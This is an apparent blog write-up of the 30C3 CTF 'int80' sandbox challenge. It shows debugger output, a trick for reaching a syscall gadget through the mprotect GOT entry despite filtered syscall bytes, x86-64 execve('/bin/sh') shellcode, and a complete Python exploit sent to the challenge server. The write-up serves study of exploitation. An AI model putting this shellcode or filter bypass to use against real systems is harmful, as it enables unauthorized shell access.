Monday, December 30, 2013

30C3 CTF - Sandbox 300 - int80 [Team SegFault]

We were given a linux 64-bit ELF armed with PIE and NX. The executable performs the following operations

[*] Allocates 0x200 bytes of memory using memalign()
[*] Makes the area RWX with mprotect()
[*] Reads 0x1D8 of user data into the buffer using fread()
[*] Makes the area RX with mprotect()
[*] Calls the memory area with call rbx

Our aim is to execute shellcode in this buffer, since it has execute permission. But there are restrictions

[*] Some bytes are filtered - 0xCD, 0x80, 0x0F, 0x05, 0x34 before mprotect() is called. This means we cannot execute syscall, sysenter or int80
[*] Self mutating shellcode is not possible since write permission is removed
[*] The executable is PIE. So ROP is not very easy
[*] All the registers are cleared before user supplied input is executed

This is how the registers looked like when RIP points to user code
gdb-peda$ info registers 
rax            0x0 0x0
rbx            0x0 0x0
rcx            0x0 0x0
rdx            0x0 0x0
rsi            0x7ffff8201010 0x7ffff8201010
rdi            0x0 0x0
rbp            0x7fffffffe570 0x7fffffffe570
rsp            0x7fffffffe1c0 0x7fffffffe1c0
r8             0x0 0x0
r9             0x0 0x0
r10            0x0 0x0
r11            0x0 0x0
r12            0x0 0x0
r13            0x0 0x0
r14            0x0 0x0
r15            0x0 0x0
rip            0x7ffff8202028 0x7ffff8202028
eflags         0x10212 [ AF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
Except for RSI, RSP, RBP all registers are cleared. So we decided to find some valid pointers to libc functions near the address pointed by RSI or RSP. Lets check RSI
gdb-peda$ x/2gx $rsi
0x7f67b9d04010: 0x00007f6700000000 0x00007f67b81bbd88

gdb-peda$ vmmap 
Warning: not running or target is remote
Start              End                Perm Name
0x000008c0         0xffffffffff601000 rx-p /home/renorobert/Desktop/int80
0x00000238         0x00007f67b85e9000 r--p /home/renorobert/Desktop/int80
0x00201de0         0x00007fff2c58a000 rw-p /home/renorobert/Desktop/int80
At RSI+0x8 we have an address which can point into the GOT entry of the executable with a fixed offset.
gdb-peda$ p/x 0x00007f67b85e9000-0x00007f67b81bbd88
$2 = 0x42d278

gdb-peda$ x/16gx 0x00007f67b81bbd88+0x42d278
0x7f67b85e9000: 0x0000000000201df8 0x00007f67b83e62c8
0x7f67b85e9010: 0x00007f67b81d7200 0x00007f67b7e73ce0
0x7f67b85e9020 <fread@got.plt>:    0x00007f67b7e726f0 0x00007f67b7e24680
0x7f67b85e9030 <signal@got.plt>:   0x00007f67b83e7926 0x00007f67b83e7936
0x7f67b85e9040 <memalign@got.plt>: 0x00007f67b7e86a30 0x00007f67b7e85f40
0x7f67b85e9050 <fflush@got.plt>:   0x00007f67b7e71c90 0x00007f67b83e7976
0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0 0x00007f67b83e7996 
0x7f67b85e9070 <sysconf@got.plt>:  0x00007f67b7ec4580 0x00007f67b83e79b6
GOT entry of mprotect:
gdb-peda$ x/gx 0x00007f67b81bbd88+0x42d2d8
0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0

gdb-peda$ x/2i 0x00007f67b7ef30c0
   0x7f67b7ef30c0 <mprotect>: mov    eax,0xa
   0x7f67b7ef30c5 <mprotect+5>: syscall  # syscall gadget, our target
So the idea of payload is

[*] Read the address from [RSI+8]
[*] Compute the offset needed to make it point into the GOT entry of mprotect
[*] Read the GOT entry of mprotect()
[*] At mprotect()+5 resides a syscall gadget, use this to complete our shellcode

Shellcode:
mov rcx, [rsi+0x8]      # Read pointer
mov rcx, [rcx+0x42d2d8] # Our computed offset to mprotect GOT
lea rcx, [rcx + 0x4]
inc rcx                 # RCX holds the adddress of syscall gadget

mov rdi,0x0068732f6e69622f 
push   rdi
push   rsp
pop    rdi
push   rax
push   rdi
push   rsp
pop    rsi
cqo    
mov    al,0x3b          # execve("/bin/sh", ["/bin/sh", 0], 0)

call rcx                # syscall
The remote offset was little different from the local value we computed. But we got this right with a small bruteforce. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '88.198.89.210'
#ip = '127.0.0.1'
port = 1024

#local_offset = 0x42d2d8
remote_offset = 0x42d2b8 

shellcode = ( "\x48\x8b\x4e\x08" +
              "\x48\x8b\x89" + struct.pack("<I", remote_offset) +
              "\x48\x8d\x49\x04" +
              "\x48\xff\xc1" +
              "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
              "\x57" +
              "\x54" +
              "\x5f" +
              "\x50" +
              "\x57" +
              "\x54" +
              "\x5e" +
              "\x48\x99" +
              "\xb0\x3b" +
              "\xff\xd1" )

shellcode = shellcode + "A" * (0x1d8-len(shellcode)) # padding

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
soc.recv(128)
time.sleep(0.5)

soc.send(shellcode + "\n")
time.sleep(0.5)
soc.send("cat /home/user/flag\n")
         
print soc.recv(1024)
Flag for the challenge is 30C3_73c2424a3fa0e4e156aa695cf1656cf2